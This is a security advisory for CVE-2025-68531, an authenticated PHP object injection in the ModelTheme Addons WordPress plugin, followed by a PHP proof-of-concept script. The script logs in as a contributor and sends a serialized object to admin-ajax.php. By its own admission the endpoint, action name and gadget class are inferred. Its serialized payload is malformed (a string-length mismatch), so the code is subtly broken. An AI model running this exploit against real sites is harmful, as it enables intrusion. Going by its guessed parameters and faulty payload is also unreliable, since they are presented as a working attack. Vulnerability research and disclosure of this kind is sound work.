Atomic Edge analysis of CVE-2025-68531 (metadata-based):
This vulnerability is an authenticated PHP object injection flaw in the ModelTheme Addons for WPBakery and Elementor WordPress plugin versions up to 1.5.6. Attackers with contributor-level permissions or higher can exploit deserialization of untrusted input, potentially leading to arbitrary file deletion, data exposure, or remote code execution if a suitable POP chain exists in the environment. The CVSS score of 7.5 (High) reflects the combination of high impact with moderate attack complexity.
Atomic Edge research indicates the root cause is improper input validation before deserialization. The plugin likely accepts serialized data via a POST or GET parameter and passes it directly to unserialize() without verification. This inference stems from the CWE-502 classification and the description’s explicit mention of “deserialization of untrusted input.” Without code access, we cannot confirm the exact vulnerable function or hook, but WordPress plugins commonly expose such functionality through AJAX handlers or REST API endpoints.
Exploitation requires contributor-level authentication. Attackers would send a crafted serialized object payload to a specific plugin endpoint, likely via admin-ajax.php with an action parameter containing the plugin prefix. The payload would contain a malicious serialized object targeting a POP chain from another plugin or theme. Since no known POP chain exists in the vulnerable software itself, successful exploitation depends on the presence of suitable gadget classes elsewhere in the WordPress installation.
The fix likely involves replacing unserialize() with a safer alternative like json_decode() with proper validation, or implementing strict type checking before deserialization. The patched version should validate and sanitize all user input before processing. WordPress security best practices recommend using the sanitize_text_field() function and implementing capability checks for all AJAX handlers.
Successful exploitation could result in complete site compromise. Attackers could delete arbitrary files, including WordPress core files. They could retrieve sensitive data from the database, such as user credentials or configuration details. With a suitable POP chain, attackers could execute arbitrary PHP code, leading to persistent backdoors, privilege escalation to administrator, or server-side request forgery. The impact severity depends entirely on available gadget classes in the target environment.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68531 - ModelTheme Addons for WPBakery and Elementor < 1.5.6 - Authenticated (Contributor+) PHP Object Injection
<?php
/**
* Proof of Concept for CVE-2025-68531
* WARNING: This script is for authorized security testing only.
* Without a known POP chain, this demonstrates the attack vector only.
* Actual exploitation requires gadget classes present in the target environment.
*/
$target_url = 'https://target-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
// Step 2: Craft malicious serialized payload
// This is a demonstration payload using a hypothetical gadget class
// Real exploitation requires identifying available POP chains
$serialized_payload = 'O:8:"TestGadget":1:{s:4:"data";s:10:"malicious";}';
// Step 3: Send exploit to suspected AJAX endpoint
// The exact action parameter is inferred from plugin naming conventions
$post_data = [
'action' => 'modeltheme_addons_action', // Inferred parameter name
'data' => $serialized_payload, // Injected serialized object
'nonce' => 'dummy_nonce' // May be required but could be bypassed
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_REFERER => $target_url . '/wp-admin/'
]);
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Analyze response for signs of successful injection
echo "Response: " . htmlspecialchars(substr($response, 0, 500)) . "n";
// Cleanup
if (file_exists('cookies.txt')) {
unlink('cookies.txt');
}
?>
